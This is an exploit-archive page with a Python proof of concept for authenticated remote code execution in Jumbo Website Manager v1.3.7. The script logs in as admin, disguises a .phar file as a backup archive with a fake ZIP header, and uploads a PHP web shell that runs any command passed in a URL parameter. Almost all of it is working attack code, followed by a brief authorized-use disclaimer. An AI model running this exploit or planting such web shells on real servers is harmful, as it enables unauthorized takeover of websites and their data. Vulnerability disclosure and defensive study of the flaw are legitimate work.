Skip to main content

Jumbo Website Manager – Remote Code Execution

Categories: WebApps

Jumbo Website Manager – Remote Code Execution

Proof of Concept (PoC)

poc.py
#Exploit Title: Jumbo Website Manager  - Remote Code Execution 
#Application: Jumbo Website Manager
#Version: v1.3.7
#Bugs:  RCE
#Technology: PHP
#Vendor URL: https://sourceforge.net/projects/jumbo/
#Software Link: https://sourceforge.net/projects/jumbo/
#Date of found: 28.10.2025
#Author: Mirabbas Ağalarov
#Tested on: Linux 


import requests
from typing import Tuple, Optional

class JumboCMSExploit:
    def __init__(self, base_url: str = "http://localhost"):
        self.base_url = base_url
        self.session = requests.Session()
        
    def login(self, username: str, password: str) -> bool:
        """
        Login to Jumbo CMS
        
        Args:
            username: Username
            password: Password (already hashed)
            
        Returns:
            True if login successful, False otherwise
        """
        print(f"[*] Attempting login as: {username}")
        
        url = f"{self.base_url}/jumbo_files/jumbo/p_login.php"
        
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0",
            "Content-Type": "application/x-www-form-urlencoded",
            "Origin": self.base_url,
            "Referer": f"{self.base_url}/jumbo_files/jumbo/loginpage.php",
        }
        
        data = {
            "username": username,
            "password": password
        }
        
        response = self.session.post(url, headers=headers, data=data, allow_redirects=False)
        
        if response.status_code in [200, 302]:
            print(f"[+] Login successful! Status: {response.status_code}")
            print(f"[+] Cookies: {self.session.cookies.get_dict()}")
            return True
        else:
            print(f"[-] Login failed! Status: {response.status_code}")
            return False
    
    def upload_file(self, filename: str, content: bytes) -> Tuple[bool, str]:
        """
        Upload a file to the backup manager
        
        Args:
            filename: Name of file to upload (e.g., test.phar)
            content: Binary content of the file
            
        Returns:
            Tuple of (success, response_text)
        """
        print(f"[*] Uploading file: {filename}")
        
        url = f"{self.base_url}/jumbo_files/jumbo/backupmanager/fileupload/php.php"
        
        params = {"qqfile": filename}
        
        # Disguise .phar as .jbox
        display_name = filename.replace('.phar', '.jbox')
        
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0",
            "Accept": "*/*",
            "X-Requested-With": "XMLHttpRequest",
            "X-File-Name": display_name,
            "Content-Type": "application/octet-stream",
            "Origin": self.base_url,
            "Referer": f"{self.base_url}/jumbo_files/jumbo/backupmanager/loadbackup.php",
        }
        
        response = self.session.post(url, params=params, headers=headers, data=content)
        
        if response.status_code == 200:
            print(f"[+] Upload successful!")
            print(f"[+] Response: {response.text}")
            return True, response.text
        else:
            print(f"[-] Upload failed! Status: {response.status_code}")
            return False, response.text
    
    def exploit(self, username: str, password: str, filename: str, php_code: str) -> bool:
        """
        Complete exploit: Login + Upload
        
        Args:
            username: Login username
            password: Login password (hashed)
            filename: Filename to upload
            php_code: PHP code to execute
            
        Returns:
            True if exploit successful
        """
        # Step 1: Login
        if not self.login(username, password):
            print("[-] Exploit failed at login stage")
            return False
        
        # Step 2: Create malicious file content
        # PK header to disguise as archive
        file_content = b'PKx03x04x0ax00x00x00x00x00' + php_code.encode()
        
        # Step 3: Upload
        success, response = self.upload_file(filename, file_content)
        
        if success:
            print("n[+] Exploit completed successfully!")
            uploaded_path = f"{self.base_url}/jumbo_files/jumbo/backupmanager/fileupload/uploads/backup.phar?cmd=whoami"
            print(f"[+] File possibly uploaded to: {uploaded_path}")
            return True
        else:
            print("[-] Exploit failed at upload stage")
            return False


if __name__ == "__main__":
    print("="*70)
    print("Jumbo CMS Authenticated RCE via File Upload Exploit")
    print("="*70)
    print()
    
    # Configuration
    TARGET = "http://localhost"
    USERNAME = "admin"
    PASSWORD = "6f7303f028531527b2da3620ccaf25ee384ae7db"  
    FILENAME = "test123.phar"
    PHP_CODE = '<?php echo system($_GET["cmd"]);?>'
    
    # Run exploit
    exploit = JumboCMSExploit(TARGET)
    exploit.exploit(USERNAME, PASSWORD, FILENAME, PHP_CODE)

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...